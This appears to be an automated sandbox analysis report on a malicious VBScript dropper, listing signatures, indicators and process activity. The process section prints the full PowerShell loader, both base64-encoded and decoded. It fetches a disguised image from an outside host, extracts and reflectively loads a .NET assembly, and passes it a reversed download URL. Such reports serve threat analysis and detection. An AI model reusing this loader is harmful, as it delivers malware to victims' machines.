Analysis
- max time kernel
148s - max time network
119s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
22/09/2026, 12:27
General
- Target jaffacakes118_1e238ecbeb15d501755f43edd1745f41c9ba4d2d4607d0a479703fc2e4937311.vbs
- Size 320KB
- Sample260922-pm75eavhmf
- SHA256 1e238ecbeb15d501755f43edd1745f41c9ba4d2d4607d0a479703fc2e4937311
Malware Config
Extracted
-
ps1
-
ps1.dropper
https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855
-
exe.dropper
https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\jaffacakes118_1e238ecbeb15d501755f43edd1745f41c9ba4d2d4607d0a479703fc2e4937311.vbs"1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'JABpAG0AYQBnAGUAVQByAGwAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AdQBwAGwAbwBhAGQAZABlAGkAbQBhAGcAZQBuAHMALgBjAG8AbQAuAGIAcgAvAGkAbQBhAGcAZQBzAC8AMAAwADQALwA1ADYAMwAvADYAMgAxAC8AbwByAGkAZwBpAG4AYQBsAC8AdQBuAGkAdgBlAHIAcwBvAF8AdgBiAHMALgBqAHAAZQBnAD8AMQA2ADkAMAA5ADMAMQA4ADUANQAnADsAJAB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgACQAdwBlAGIAQwBsAGkAZQBuAHQALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAaQBtAGEAZwBlAFUAcgBsACkAOwAkAGkAbQBhAGcAZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwApADsAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACQAZQBuAGQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABzAHQAYQByAHQARgBsAGEAZwApADsAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAJABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaAAgAD0AIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AIAAkAHMAdABhAHIAdABJAG4AZABlAHgAOwAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABzAHQAYQByAHQASQBuAGQAZQB4ACwAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACkAOwAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAKQA7ACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwAkAHQAeQBwAGUAIAA9ACAAJABsAG8AYQBkAGUAZABBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAJwBGAGkAYgBlAHIALgBIAG8AbQBlACcAKQA7ACQAbQBlAHQAaABvAGQAIAA9ACAAJAB0AHkAcABlAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFYAQQBJACcAKQA7ACQAYQByAGcAdQBtAGUAbgB0AHMAIAA9ACAALAAoACcAdAB4AHQALgBlAHUAcQBpAHIAZgBhAC8AOAA0ADIALgAxADUALgA2ADcALgAwADgALwAvADoAcAB0AHQAaAAnACkAOwAkAG0AZQB0AGgAbwBkAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAYQByAGcAdQBtAGUAbgB0AHMAKQA='";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64String( $codigo))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.euqirfa/842.15.67.08//:ptth');$method.Invoke($null, $arguments)"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
memory/3300-12-0x00007FFD1F540000-0x00007FFD1FEE4000-memory.dmp
memory/3300-14-0x00007FFD1F540000-0x00007FFD1FEE4000-memory.dmp
memory/3300-4-0x00000114C3580000-0x00000114C35A2000-memory.dmp
memory/3300-6-0x00007FFD1F540000-0x00007FFD1FEE4000-memory.dmp
memory/3300-7-0x00007FFD1F540000-0x00007FFD1FEE4000-memory.dmp
memory/3300-8-0x00007FFD1F540000-0x00007FFD1FEE4000-memory.dmp
memory/3300-9-0x00007FFD1F540000-0x00007FFD1FEE4000-memory.dmp
memory/3300-10-0x00007FFD1F540000-0x00007FFD1FEE4000-memory.dmp
memory/3300-11-0x00007FFD1F540000-0x00007FFD1FEE4000-memory.dmp
memory/3300-0-0x00007FFD1F6CF000-0x00007FFD1F6D0000-memory.dmp
memory/3300-5-0x00007FFD1F540000-0x00007FFD1FEE4000-memory.dmp
memory/3300-15-0x00007FFD1F540000-0x00007FFD1FEE4000-memory.dmp
memory/3300-13-0x00007FFD1F540000-0x00007FFD1FEE4000-memory.dmp
memory/3300-26-0x00007FFD1F540000-0x00007FFD1FEE4000-memory.dmp
memory/3300-1-0x00007FFD1F540000-0x00007FFD1FEE4000-memory.dmp
memory/4268-20-0x00007FFD1F540000-0x00007FFD1FEE4000-memory.dmp
memory/4268-21-0x00007FFD1F540000-0x00007FFD1FEE4000-memory.dmp
memory/4268-23-0x00007FFD1F540000-0x00007FFD1FEE4000-memory.dmp
memory/4268-19-0x00007FFD1F540000-0x00007FFD1FEE4000-memory.dmp
memory/4268-16-0x00007FFD1F540000-0x00007FFD1FEE4000-memory.dmp
memory/4268-27-0x00007FFD1F540000-0x00007FFD1FEE4000-memory.dmp